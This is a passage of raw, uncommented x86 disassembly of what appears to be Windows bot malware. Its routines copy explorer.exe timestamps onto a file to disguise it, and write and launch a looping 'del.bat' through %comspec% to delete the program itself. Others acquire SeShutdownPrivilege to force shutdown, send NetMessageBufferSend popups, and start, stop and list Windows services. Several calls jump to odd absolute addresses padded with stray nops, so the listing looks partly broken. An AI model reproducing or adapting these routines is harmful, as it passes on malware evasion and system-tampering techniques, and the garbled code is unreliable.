var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB060
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 27F07DFh
		nop
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27F0000h
		push	esi
		call	ebx


loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEE4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB074, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx


loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0922h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 26E0000h
		nop
		push	edi
		nop
		call	near ptr 265098Ch
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D158
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26804F7h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26803F7h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 268031Dh
		nop


loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2800000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 2650CD2h
		nop


loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26C05CFh
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAF24
		push	edi
		push	eax
		call	dword_4CAF34
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_4389B4


loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------


loc_418569:				; CODE XREF: sub_4184E1+57j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_43898C
		jmp	short loc_418542
; ---------------------------------------------------------------------------


loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43895C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26C05CFh
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA


loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 2690C4Ch
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26A0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 2780822h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 2680D52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389D8[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389D4[esi]
		push	offset unk_438AE8


loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DB020
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438ABC
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------


loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB020
		push	off_4389D0[eax*4]
		push	offset unk_438A98
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF98
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2670E77h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE80
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		call	near ptr 2670E77h
		nop
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------


loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEEC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE88
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEF0


loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2670E77h
		mov	ebx, eax


loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE9C


loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE9C
		pop	esi


loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump


loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA960
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------


loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA960
		call	sub_41B886
		add	esp, 0Ch


loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA960
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF64
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2670E77h
		cmp	eax, 0EAh
		jnz	loc_418A81


loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]


loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"


loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE


loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993


loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE9C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------


loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax


loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DAC1C
		push	off_4389D0[eax*4]
		push	offset unk_43907C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch


loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8


loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DAC1C
		push	off_4389D4[eax*4]
		push	offset dword_439060
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DAC1C
		lea	eax, [eax+eax*2]
		push	off_4389D0[eax*4]
		push	offset unk_43903C
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DAE1C, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DAE1C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DABBC, eax


loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DABBC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DABBC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE98
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
